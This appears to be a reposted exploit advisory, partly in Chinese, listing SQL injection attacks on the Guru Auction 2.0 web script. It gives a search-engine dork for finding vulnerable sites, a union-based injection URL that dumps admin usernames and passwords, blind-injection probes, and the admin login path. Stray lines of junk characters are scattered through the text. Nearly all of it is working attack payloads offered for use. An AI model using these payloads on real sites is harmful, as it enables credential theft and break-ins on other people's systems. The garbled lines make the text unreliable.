Guru Auction 2.0多重sql注射

admin

Guru Auction 2.0 Multiple SQL Injection Vulnerabilities

作者     : v3n0m
应用 : Guru Auction 2.0
* U5 v/ k" r5 C4 v+ ~& z( mPrice       : $49
Vendor      : http://www.guruscript.com/
Google Dork : inurl:subcat.php?cate_id=
8 k/ |9 h- k) B3 J/ v5 ?, f1 V- A; X
SQLi p0c:
) M: y1 j) W, X# S7 ]( O) y~~~~~~~~~~
; a* s9 @) }# @$ m6 Ahttp://domain.tld/[path]/subcat.php?cate_id=-9999+union+all+select+null,group_concat(user_name,char(58),password),null+from+admin--
9 t9 n5 v/ D: |; b$ B$ h3 R/ V
$ {* J8 o9 x) L6 g( }& X/ s
# {, u& d" J. x" w0 T. e# O1 s) G- U% }盲注 p0c:
  l) U5 U2 p, Q~~~~~~~~~~
, i3 R0 b0 K8 C) R$ y: shttp://www.political-security.com /[path]/detail.php?item_id=575+AND+SUBSTRING(@@version,1,1)=5 << true
http://domain.tld/[path]/detail.php?item_id=575+AND+SUBSTRING(@@version,1,1)=4 << false
9 C6 _7 w0 a: I. a' ^4 G
管理登录入口:
~~~~~~~~~~
: k& @% U2 M/ J5 r7 w2 Hhttp://domain.tld/[path]/admin/